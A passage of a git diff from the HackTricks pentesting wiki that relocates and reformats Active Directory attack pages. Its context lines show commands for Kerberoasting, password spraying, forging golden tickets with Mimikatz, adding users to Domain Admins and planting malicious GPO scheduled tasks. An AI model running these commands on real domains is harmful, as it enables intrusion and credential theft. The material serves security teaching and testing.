password making him executed as administrator: @@ -141,16 +139,14 @@ Finally, you could make the user add a new recovery password making him executed schtasks /create /SC ONLOGON /tr "c:/windows/system32/manage-bde.exe -protectors -add c: -rp 000000-000000-000000-000000-000000-000000-000000-000000" /tn tarea /RU SYSTEM /f ``` -This will add a new recovery key \(composed of 48 zeros\) in the next login. +This will add a new recovery key (composed of 48 zeros) in the next login. To check the valid recovery keys you can execute: -```text +``` manage-bde -protectors -get c: ``` - -
Support HackTricks and get benefits! @@ -166,5 +162,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/about-the-author.md b/welcome/about-the-author.md similarity index 100% rename from about-the-author.md rename to welcome/about-the-author.md diff --git a/getting-started-in-hacking.md b/welcome/getting-started-in-hacking.md similarity index 100% rename from getting-started-in-hacking.md rename to welcome/getting-started-in-hacking.md diff --git a/windows/active-directory-methodology/README.md b/windows-hardening/active-directory-methodology/README.md similarity index 91% rename from windows/active-directory-methodology/README.md rename to windows-hardening/active-directory-methodology/README.md index 37e6039e..1ba8742a 100644 --- a/windows/active-directory-methodology/README.md +++ b/windows-hardening/active-directory-methodology/README.md @@ -1,4 +1,4 @@ - +# Active Directory Methodology
@@ -16,23 +16,21 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- {% hint style="warning" %} **Support HackTricks and get benefits!** -Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? -Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** +**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.** {% endhint %} -# Basic overview +## Basic overview Active Directory allows network administrators to create and manage domains, users, and objects within a network. For example, an admin can create a group of users and give them specific access privileges to certain directories on the server. As a network grows, Active Directory provides a way to organize a large number of users into logical groups and subgroups, while providing access control at each level. @@ -58,16 +56,16 @@ Active Directory provides several different services, which fall under the umbre AD DS is included with Windows Server (including Windows Server 10) and is designed to manage client systems. While systems running the regular version of Windows do not have the administrative features of AD DS, they do support Active Directory. This means any Windows computer can connect to a Windows workgroup, provided the user has the correct login credentials.\ **From:** [**https://techterms.com/definition/active\_directory**](https://techterms.com/definition/active\_directory) -## **Kerberos Authentication** +### **Kerberos Authentication** To learn how to **attack an AD** you need to **understand** really good the **Kerberos authentication process**.\ [**Read this page if you still don't know how it works.**](kerberos-authentication.md) -# Cheat Sheet +## Cheat Sheet You can take a lot to [https://wadcoms.github.io/](https://wadcoms.github.io) to have a quick view of which commands you can run to enumerate/exploit an AD. -# Recon Active Directory (No creds/sessions) +## Recon Active Directory (No creds/sessions) If you just have access to an AD environment but you don't have any credentials/sessions you could: @@ -75,19 +73,19 @@ If you just have access to an AD environment but you don't have any credentials/ * Scan the network, find machines and open ports and try to **exploit vulnerabilities** or **extract credentials** from them (for example, [printers could be very interesting targets](ad-information-in-printers.md). * Enumerating DNS could give information about key servers in the domain as web, printers, shares, vpn, media, etc. * `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt` - * Take a look to the General [**Pentesting Methodology**](../../pentesting-methodology.md) to find more information about how to do this. + * Take a look to the General [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) to find more information about how to do this. * **Check for null and Guest access on smb services** (this won't work on modern Windows versions): * `enum4linux -a -u "" -p "" && enum4linux -a -u "guest" -p "" ` * `smbmap -u "" -p "" -P 445 -H && smbmap -u "guest" -p "" -P 445 -H ` * `smbclient -U '%' -L // && smbclient -U 'guest%' -L //` - * [**A more detailed guide on how to enumerate a SMB server can be found here.**](broken-reference/) + * [**A more detailed guide on how to enumerate a SMB server can be found here.**](../../windows/active-directory-methodology/broken-reference/) * **Enumerate Ldap** * `nmap -n -sV --script "ldap* and not brute" -p 389 ` - * [**A more detailed guide on how to enumerate LDAP can be found here.**](../../pentesting/pentesting-ldap.md) + * [**A more detailed guide on how to enumerate LDAP can be found here.**](../../network-services-pentesting/pentesting-ldap.md) * **Poison the network** - * Gather credentials [**impersonating services with Responder**](../../pentesting/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) - * Access host by [abusing the relay attack](../../pentesting/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) - * Gather credentials **exposing** [**fake UPnP services with evil-S**](../../pentesting/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) + * Gather credentials [**impersonating services with Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) + * Access host by [abusing the relay attack](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) + * Gather credentials **exposing** [**fake UPnP services with evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) * [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology): * Extract usernames/names from internal documents, social media, services (mainly web) inside the domain environments and also from the publicly available. * If you find the complete names of company workers, you could try different AD **username conventions (**[**read this**](https://activedirectorypro.com/active-directory-user-naming-convention/)). The most common conventions are: _NameSurname_, _Name.Surname_, _NamSur_ (3letters of each), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _random letters and 3 random numbers_ (abc123). @@ -95,7 +93,7 @@ If you just have access to an AD environment but you don't have any credentials/ * [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username) * [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy) -## User enumeration +### User enumeration When an **invalid username is requested** the server will respond using the **Kerberos error** code _KRB5KDC\_ERR\_C\_PRINCIPAL\_UNKNOWN_, allowing us to determine that the username was invalid. **Valid usernames** will illicit either the **TGT in a AS-REP** response or the error _KRB5KDC\_ERR\_PREAUTH\_REQUIRED_, indicating that the user is required to perform pre-authentication. @@ -107,20 +105,20 @@ msf> use auxiliary/gather/kerberos_enumusers crackmapexec smb dominio.es -u '' -p '' --users | awk '{print $4}' | uniq ``` -## Knowing one or several usernames +### Knowing one or several usernames Ok, so you know you have already a valid username but no passwords... Then try: * [**ASREPRoast**](asreproast.md): If a user **doesn't have** the attribute _DONT\_REQ\_PREAUTH_ you can **request a AS\_REP message** for that user that will contain some data encrypted by a derivation of the password of the user. * [**Password Spraying**](password-spraying.md): Let's try the most **common passwords** with each of the discovered users, maybe some user is using a bad password (keep in mind the password policy!) or could login with empty password: [Invoke-SprayEmptyPassword.ps1](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1). -# Enumerating Active Directory WITH credentials/session +## Enumerating Active Directory WITH credentials/session For this phase you need to have **compromised the credentials or a session of a valid domain account.** If you have some valid credentials or a shell as a domain user, **you should remember that the options given before are still options to compromise other users**. -## Enumeration +### Enumeration -### Extracting all domain users +#### Extracting all domain users It's very easy to obtain all the domain usernames from Windows (`net user /domain` ,`Get-DomainUser` or `wmic useraccount get name,sid`). In Linux, you can use: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` or `enum4linux -a -u "user" -p "password" ` @@ -138,81 +136,81 @@ Regarding [**ASREPRoast**](asreproast.md)you can now find every possible vulnera > Even if this Enumeration section looks small this is the most important part of all. Access the links (mainly the one of cmd, powershell, powerview and BloodHound), learn how to enumerate a domain and practice until you feel comfortable. During an assessment, this will be the key moment to find your way to DA or to decide that nothing can be done. -## Kerberoast +### Kerberoast The goal of Kerberoasting is to harvest **TGS tickets for services that run on behalf of domain user accounts**. Part of these TGS tickets are **encrypted wit keys derived from user passwords**. As a consequence, their credentials could be **cracked offline**. **Find more information about this attack** [**in the Kerberoast page**](kerberoast.md)**.** -## Remote connexion (RDP, SSH, FTP, Win-RM, etc) +### Remote connexion (RDP, SSH, FTP, Win-RM, etc) Once you have obtained some credentials you could check if you have access to any **machine**. For that matter, you could use **CrackMapExec** to attempt connecting on several servers with different protocols, accordingly to your ports scans. -## Local Privilege Escalation +### Local Privilege Escalation If you have compromised credentials or a session as a regular domain user and you have **access** with this user to **any machine in the domain** you should try to find your way to **escalate privileges locally and looting for credentials**. This is because only with local administrator privileges you will be able to **dump hashes of other users** in memory (LSASS) and locally (SAM). There is a complete page in this book about [**local privilege escalation in Windows**](../windows-local-privilege-escalation/) and a [**checklist**](../checklist-windows-privilege-escalation.md). Also, don't forget to use [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite). -# Privilege escalation on Active Directory WITH privileged credentials/session +## Privilege escalation on Active Directory WITH privileged credentials/session **For the following techniques a regular domain user is not enough, you need some special privileges/credentials to perform these attacks.** -## Hash extraction +### Hash extraction -Hopefully you have managed to **compromise some local admin** account using [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../pentesting/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) including relaying, [EvilSSDP](../../pentesting/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/).\ +Hopefully you have managed to **compromise some local admin** account using [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) including relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/).\ Then, its time to dump all the hashes in memory and locally.\ [**Read this page about different ways to obtain the hashes.**](../stealing-credentials/) -## Pass the Hash +### Pass the Hash **Once you have the hash of a user**, you can use it to **impersonate** it.\ You need to use some **tool** that will **perform** the **NTLM authentication using** that **hash**, **or** you could create a new **sessionlogon** and **inject** that **hash** inside the **LSASS**, so when any **NTLM authentication is performed**, that **hash will be used.** The last option is what mimikatz does.\ [**More information about this attack and about how does NTLM works here**](../ntlm/#pass-the-hash)**.** -## Over Pass the Hash/Pass the Key +### Over Pass the Hash/Pass the Key This attack aims to **use the user NTLM hash to request Kerberos tickets**, as an alternative to the common Pass The Hash over NTLM protocol. Therefore, this could be especially **useful in networks where NTLM protocol is disabled** and only **Kerberos is allowed** as authentication protocol.\ [**More information about Over Pass the Hash/Pass the Key here.**](over-pass-the-hash-pass-the-key.md) -## Pass the Ticket +### Pass the Ticket This attack is similar to Pass the Key, but instead of using hashes to request a ticket, the **ticket itself is stolen** and used to authenticate as its owner.\ [**More information about Pass the Ticket here**](pass-the-ticket.md)**.** -## MSSQL Trusted Links +### MSSQL Trusted Links If a user has privileges to **access MSSQL instances**, he could be able to use it to **execute commands** in the MSSQL host (if running as SA).\ Also, if a MSSQL instance is trusted (database link) by a different MSSQL instance. If the user has privileges over the trusted database, he is going to be able to **use the trust relationship to execute queries also in the other instance**. These trusts can be chained and at some point the user might be able to find a misconfigured database where he can execute commands.\ **The links between databases work even across forest trusts.**\ [**More information about this technique here.**](mssql-trusted-links.md) -## Unconstrained Delegation +### Unconstrained Delegation If you find any Computer object with the attribute [ADS\_UF\_TRUSTED\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx) and you have domain privileges in the computer, you will be able to dump TGTs from memory of every users that logins onto the computer.\ So, if a **Domain Admin logins onto the computer**, you will be able to dump his TGT and impersonate him using [Pass the Ticket](pass-the-ticket.md).\ Thanks to constrained delegation you could even **automatically compromise a Print Server** (hopefully it will be a DC).\ [**More information about this technique here.**](unconstrained-delegation.md) -## Constrained Delegation +### Constrained Delegation If a user or computer is allowed for "Constrained Delegation" it will be able to **impersonate any user to access some services in a computer**.\ Then, if you **compromise the hash** of this user/computer you will be able to **impersonate any user** (even domain admins) to access some services.\ [**More information about this attacks and some constrains here.**](constrained-delegation.md) -## ACLs Abuse +### ACLs Abuse The compromised user could have some **interesting privileges over some domain objects** that could let you **move** laterally/**escalate** privileges.\ [**More information about interesting privileges here.**](acl-persistence-abuse.md) -## Printer Spooler service abuse +### Printer Spooler service abuse If you can find any **Spool service listening** inside the domain, you may be able to **abuse** is to **obtain new credentials** and **escalate privileges**.\ [**More information about how to find a abuse Spooler services here.**](printers-spooler-service-abuse.md) -# Post-exploitation with high privilege account +## Post-exploitation with high privilege account -## Dumping Domain Credentials +### Dumping Domain Credentials Once you get **Domain Admin** or even better **Enterprise Admin** privileges, you can **dump** the **domain database**: _ntds.dit_. @@ -220,65 +218,65 @@ Once you get **Domain Admin** or even better **Enterprise Admin** privileges, yo [**More information about how to steal the NTDS.dit can be found here**](../stealing-credentials/) -## Persistence +### Persistence **Some of the techniques discussed before can be used for persistence. For example you could make a user vulnerable to** [**ASREPRoast** ](asreproast.md)**or to** [**Kerberoast**](kerberoast.md)**.** -## Golden Ticket +### Golden Ticket A valid **TGT as any user** can be created **using the NTLM hash of the krbtgt AD account**. The advantage of forging a TGT instead of TGS is being **able to access any service** (or machine) in the domain ad the impersonated user. [**More information about Golden Ticket here.**](golden-ticket.md) -## Silver Ticket +### Silver Ticket The Silver ticket attack is based on **crafting a valid TGS for a service once the NTLM hash of service is owned** (like the **PC account hash**). Thus, it is possible to **gain access to that service** by forging a custom TGS **as any user** (like privileged access to a computer).\ [**More information about Silver Ticket here.**](silver-ticket.md) -## AdminSDHolder Group +### AdminSDHolder Group The Access Control List (ACL) of the **AdminSDHolder** object is used as a template to **copy** **permissions** to **all “protected groups”** in Active Directory and their members. Protected groups include privileged groups such as Domain Admins, Administrators, Enterprise Admins, and Schema Admins.\ By default, the ACL of this group is copied inside all the "protected groups". This is done to avoid intentional or accidental changes to these critical groups. However, if an attacker modifies the ACL of the group **AdminSDHolder** for example, giving full permissions to a regular user, this user will have full permissions on all the groups inside the protected group (in an hour).\ And if someone tries to delete this user from the Domain Admins (for example) in an hour or less, the user will be back in the group.\ [**More information about AdminSDHolder Group here**](privileged-accounts-and-token-privileges.md)**.** -## DSRM Credentials +### DSRM Credentials There is a **local administrator** account inside each **DC**. Having admin privileges in this machine, you can use mimikatz to **dump the local Administrator hash**. Then, modifying a registry to **activate this password** so you can remotely access to this local Administrator user.\ [**More information about DSRM Credentials here.**](dsrm-credentials.md) -## ACL Persistence +### ACL Persistence You could **give** some **special permissions** to a **user** over some specific domain objects that will let the user **escalate privileges in the future**.\ [**More information about interesting privileges here.**](acl-persistence-abuse.md) -## Security Descriptors +### Security Descriptors The **security descriptors** are used to **store** the **permissions** an **object** have **over** an **object**. If you can just **make** a **little change** in the **security descriptor** of an object, you can obtain very interesting privileges over that object without needing to be member of a privileged group.\ [**More information about Security Descriptors here**](security-descriptors.md)**.** -## Skeleton Key +### Skeleton Key **Modify LSASS** in memory to create a **master password** that will work for any account in the domain.\ [**More information about Skeleton Key here.**](skeleton-key.md) -## Custom SSP +### Custom SSP [Learn what is a SSP (Security Support Provider) here.](../authentication-credentials-uac-and-efs.md#security-support-provider-interface-sspi)\ You can create you **own SSP** to **capture** in **clear text** the **credentials** used to access the machine.\ [**More information about Custom SSP here**](custom-ssp.md)**.** -## DCShadow +### DCShadow It registers a **new Domain Controller** in the AD and uses it to **push attributes** (SIDHistory, SPNs...) on specified objects **without** leaving any **logs** regarding the **modifications**. You **need DA** privileges and be inside the **root domain**.\ Note that if you use wrong data, pretty ugly logs will appear.\ [**More information about DCShadow here.**](dcshadow.md) -# Forest Privilege Escalation - Domain Trusts +## Forest Privilege Escalation - Domain Trusts Microsoft considers that the **domain isn't a Security Boundary**, the **Forest is the security Boundary**. This means that **if you compromise a domain inside a Forest you are going to be able to compromise the entire Forest**. -## Basic Information +### Basic Information At a high level, a [**domain trust**](http://technet.microsoft.com/en-us/library/cc759554\(v=ws.10\).aspx) establishes the ability for **users in one domain to authenticate** to resources or act as a [security principal](https://technet.microsoft.com/en-us/library/cc780957\(v=ws.10\).aspx) **in another domain**. @@ -289,7 +287,7 @@ When a **user** tries to **access** a **service** on the **trusting domain** it ![](<../../.gitbook/assets/image (166).png>) -## Different trusts +### Different trusts It's important to notice that **a trust can be 1 way or 2 ways**. In the 2 ways options, both domains will trust each other, but in the **1 way** trust relation one of the domains will be the **trusted** and the other the **trusting** domain. In the last case, **you will only be able to access resources inside the trusting domain from the trusted one**. @@ -304,7 +302,7 @@ A trust relationship can also be **transitive** (A trust B, B trust C, then A tr * **Forest** – a transitive trust between one forest root domain and another forest root domain. Forest trusts also enforce SID filtering. * **MIT** – a trust with a non-Windows [RFC4120-compliant](https://tools.ietf.org/html/rfc4120) Kerberos domain. I hope to dive more into MIT trusts in the future. -## Attack Path +### Attack Path 1. **Enumerate** the trusting relationships 2. Check if any **security principal** (user/group/computer) has **access** to resources of the **other domain**, maybe by ACE entries or by being in groups of the other domain. Look for **relationships across domains** (the trust was created for this probably). @@ -317,7 +315,7 @@ There are three **main** ways that security principals (users/groups/computer) f * They can be added to **groups in the foreign domain**. There are some caveats depending on trust type and group scope, described shortly. * They can be added as principals in an **access control list**, most interesting for us as principals in **ACEs** in a **DACL**. For more background on ACLs/DACLs/ACEs, check out the “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an\_ace\_up\_the\_sleeve.pdf)” whitepaper. -## Child-to-Parent forest privilege escalation +### Child-to-Parent forest privilege escalation Also, notice that there are **2 trusted keys**, one for _Child --> Parent_ and another one for P\_arent --> Child\_. @@ -358,7 +356,7 @@ schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTE schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114" ``` -## External Forest Domain Privilege escalation +### External Forest Domain Privilege escalation In this case you can **sign with** the **trusted** key a **TGT impersonating** the **Administrator** user of the current domain. In this case you **won't always get Domain Admins privileges in the external domain**, but **only** the privileges the Administrator user of your current domain **was given** in the external domain. @@ -366,7 +364,7 @@ In this case you can **sign with** the **trusted** key a **TGT impersonating** t Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain: /SID: /rc4: /target: /ticket:C:\path\save\ticket.kirbi"' ``` -## Domain trust abuse mitigation +### Domain trust abuse mitigation **SID Filtering:** @@ -378,7 +376,7 @@ Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain: Support HackTricks and get benefits! @@ -452,5 +449,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.** - - diff --git a/windows/active-directory-methodology/acl-persistence-abuse.md b/windows-hardening/active-directory-methodology/acl-persistence-abuse.md similarity index 95% rename from windows/active-directory-methodology/acl-persistence-abuse.md rename to windows-hardening/active-directory-methodology/acl-persistence-abuse.md index 82b92042..740f4200 100644 --- a/windows/active-directory-methodology/acl-persistence-abuse.md +++ b/windows-hardening/active-directory-methodology/acl-persistence-abuse.md @@ -1,5 +1,7 @@ # Abusing Active Directory ACLs/ACEs +## Abusing Active Directory ACLs/ACEs +
Support HackTricks and get benefits! @@ -16,10 +18,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **This information was copied from** [**https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **because it's just perfect** -# Context +## Context This lab is to abuse weak permissions of Active Directory Discretionary Access Control Lists (DACLs) and Acccess Control Entries (ACEs) that make up DACLs. @@ -41,7 +42,7 @@ Some of the Active Directory object permissions and types that we as attackers a In this lab, we are going to explore and try to exploit most of the above ACEs. -# GenericAll on User +## GenericAll on User Using powerview, let's check if our attacking user `spotless` has `GenericAll rights` on the AD object for the user `delegate`: @@ -57,7 +58,7 @@ We can reset user's `delegate` password without knowing the current password: ![](../../.gitbook/assets/3.png) -# GenericAll on Group +## GenericAll on Group Let's see if `Domain admins` group has any weak permissions. First of, let's get its `distinguishedName`: @@ -93,11 +94,11 @@ Add-ADGroupMember -Identity "domain admins" -Members spotless Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local" ``` -# GenericAll / GenericWrite / Write on Computer +## GenericAll / GenericWrite / Write on Computer If you have these privileges on a Computer object, you can pull [Kerberos **Resource-based Constrained Delegation**: Computer Object Take Over](resource-based-constrained-delegation.md) off. -# WriteProperty on Group +## WriteProperty on Group If our controlled user has `WriteProperty` right on `All` objects for `Domain Admin` group: @@ -111,7 +112,7 @@ net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domai ![](../../.gitbook/assets/8.png) -# Self (Self-Membership) on Group +## Self (Self-Membership) on Group Another privilege that enables the attacker adding themselves to a group: @@ -123,7 +124,7 @@ net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domai ![](../../.gitbook/assets/10.png) -# WriteProperty (Self-Membership) +## WriteProperty (Self-Membership) One more privilege that enables the attacker adding themselves to a group: @@ -139,7 +140,7 @@ net group "domain admins" spotless /add /domain ![](../../.gitbook/assets/12.png) -# **ForceChangePassword** +## **ForceChangePassword** If we have `ExtendedRight` on `User-Force-Change-Password` object type, we can reset the user's password without knowing their current password: @@ -187,7 +188,7 @@ More info: * [https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6?redirectedfrom=MSDN) * [https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-samr/e28bf420-8989-44fb-8b08-f5a7c2f2e33c](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-samr/e28bf420-8989-44fb-8b08-f5a7c2f2e33c) -# WriteOwner on Group +## WriteOwner on Group Note how before the attack the owner of `Domain Admins` is `Domain Admins`: @@ -211,7 +212,7 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico ![](../../.gitbook/assets/19.png) -# GenericWrite on User +## GenericWrite on User ```csharp Get-ObjectAcl -ResolveGUIDs -SamAccountName delegate | ? {$_.IdentityReference -eq "OFFENSE\spotless"} @@ -229,7 +230,7 @@ Below shows the user's ~~`delegate`~~ logon script field got updated in the AD: ![](../../.gitbook/assets/21.png) -# WriteDACL + WriteOwner +## WriteDACL + WriteOwner If you are the owner of a group, like I'm the owner of a `Test` AD group: @@ -247,7 +248,7 @@ And you have a `WriteDACL` on that AD object: ![](../../.gitbook/assets/24.png) -...you can give yourself [`GenericAll`](broken-reference/) privileges with a sprinkle of ADSI sorcery: +...you can give yourself [`GenericAll`](../../windows/active-directory-methodology/broken-reference/) privileges with a sprinkle of ADSI sorcery: ```csharp $ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local" @@ -275,12 +276,12 @@ Set-Acl -Path $path -AclObject $acl ![](../../.gitbook/assets/26.png) -# **Replication on the domain (DCSync)** +## **Replication on the domain (DCSync)** The **DCSync** permission implies having these permissions over the domain itself: **DS-Replication-Get-Changes**, **Replicating Directory Changes All** and **Replicating Directory Changes In Filtered Set**.\ [**Learn more about the DCSync attack here.**](dcsync.md) -# GPO Delegation +## GPO Delegation Sometimes, certain users/groups may be delegated access to manage Group Policy Objects as is the case with `offense\spotless` user: @@ -298,7 +299,7 @@ The below indicates that the user `offense\spotless` has **WriteProperty**, **Wr [**More about general AD ACL/ACE abuse here.**](acl-persistence-abuse.md) -## Abusing the GPO Permissions +### Abusing the GPO Permissions We know the above ObjectDN from the above screenshot is referring to the `New Group Policy Object` GPO since the ObjectDN points to `CN=Policies` and also the `CN={DDC640FF-634A-4442-BC2E-C05EED132F0C}` which is the same in the GPO settings as highlighted below: @@ -352,13 +353,13 @@ The above will add our user spotless to the local `administrators` group of the ![](../../.gitbook/assets/a20.png) -## Force Policy Update +### Force Policy Update ScheduledTask and its code will execute after the policy updates are pushed through (roughly each 90 minutes), but we can force it with `gpupdate /force` and see that our user `spotless` now belongs to local administrators group: ![](../../.gitbook/assets/a21.png) -## Under the hood +### Under the hood If we observe the Scheduled Tasks of the `Misconfigured Policy` GPO, we can see our `evilTask` sitting there: @@ -427,7 +428,7 @@ Below is the XML file that got created by `New-GPOImmediateTask` that represents ``` {% endcode %} -## Users and Groups +### Users and Groups The same privilege escalation could be achieved by abusing the GPO Users and Groups feature. Note in the below file, line 6 where the user `spotless` is added to the local `administrators` group - we could change the user to something else, add another one or even add the user to another group/multiple groups since we can amend the policy configuration file in the shown location due to the GPO delegation assigned to our user `spotless`: @@ -448,7 +449,7 @@ The same privilege escalation could be achieved by abusing the GPO Users and Gro Additionally, we could think about leveraging logon/logoff scripts, using registry for autoruns, installing .msi, edit services and similar code execution avenues. -# References +## References {% embed url="https://wald0.com/?p=112" %} diff --git a/windows/active-directory-methodology/ad-information-in-printers.md b/windows-hardening/active-directory-methodology/ad-information-in-printers.md similarity index 100% rename from windows/active-directory-methodology/ad-information-in-printers.md rename to windows-hardening/active-directory-methodology/ad-information-in-printers.md diff --git a/windows/active-directory-methodology/asreproast.md b/windows-hardening/active-directory-methodology/asreproast.md similarity index 100% rename from windows/active-directory-methodology/asreproast.md rename to windows-hardening/active-directory-methodology/asreproast.md diff --git a/windows/active-directory-methodology/bloodhound.md b/windows-hardening/active-directory-methodology/bloodhound.md similarity index 100% rename from windows/active-directory-methodology/bloodhound.md rename to windows-hardening/active-directory-methodology/bloodhound.md diff --git a/windows/active-directory-methodology/constrained-delegation.md b/windows-hardening/active-directory-methodology/constrained-delegation.md similarity index 100% rename from windows/active-directory-methodology/constrained-delegation.md rename to windows-hardening/active-directory-methodology/constrained-delegation.md diff --git a/windows/active-directory-methodology/custom-ssp.md b/windows-hardening/active-directory-methodology/custom-ssp.md similarity index 100% rename from windows/active-directory-methodology/custom-ssp.md rename to windows-hardening/active-directory-methodology/custom-ssp.md diff --git a/windows/active-directory-methodology/dcshadow.md b/windows-hardening/active-directory-methodology/dcshadow.md similarity index 100% rename from windows/active-directory-methodology/dcshadow.md rename to windows-hardening/active-directory-methodology/dcshadow.md diff --git a/windows/active-directory-methodology/dcsync.md b/windows-hardening/active-directory-methodology/dcsync.md similarity index 100% rename from windows/active-directory-methodology/dcsync.md rename to windows-hardening/active-directory-methodology/dcsync.md diff --git a/windows/active-directory-methodology/dsrm-credentials.md b/windows-hardening/active-directory-methodology/dsrm-credentials.md similarity index 100% rename from windows/active-directory-methodology/dsrm-credentials.md rename to windows-hardening/active-directory-methodology/dsrm-credentials.md diff --git a/windows/active-directory-methodology/golden-ticket.md b/windows-hardening/active-directory-methodology/golden-ticket.md similarity index 100% rename from windows/active-directory-methodology/golden-ticket.md rename to windows-hardening/active-directory-methodology/golden-ticket.md diff --git a/windows/active-directory-methodology/kerberoast.md b/windows-hardening/active-directory-methodology/kerberoast.md similarity index 100% rename from windows/active-directory-methodology/kerberoast.md rename to windows-hardening/active-directory-methodology/kerberoast.md diff --git a/windows/active-directory-methodology/kerberos-authentication.md b/windows-hardening/active-directory-methodology/kerberos-authentication.md similarity index 100% rename from windows/active-directory-methodology/kerberos-authentication.md rename to windows-hardening/active-directory-methodology/kerberos-authentication.md diff --git a/windows/active-directory-methodology/mssql-trusted-links.md b/windows-hardening/active-directory-methodology/mssql-trusted-links.md similarity index 100% rename from windows/active-directory-methodology/mssql-trusted-links.md rename to windows-hardening/active-directory-methodology/mssql-trusted-links.md diff --git a/windows/active-directory-methodology/over-pass-the-hash-pass-the-key.md b/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md similarity index 100% rename from windows/active-directory-methodology/over-pass-the-hash-pass-the-key.md rename to windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md diff --git a/windows/active-directory-methodology/pass-the-ticket.md b/windows-hardening/active-directory-methodology/pass-the-ticket.md similarity index 85% rename from windows/active-directory-methodology/pass-the-ticket.md rename to windows-hardening/active-directory-methodology/pass-the-ticket.md index 3b2ad5eb..1c0633de 100644 --- a/windows/active-directory-methodology/pass-the-ticket.md +++ b/windows-hardening/active-directory-methodology/pass-the-ticket.md @@ -1,4 +1,4 @@ - +# Pass the Ticket
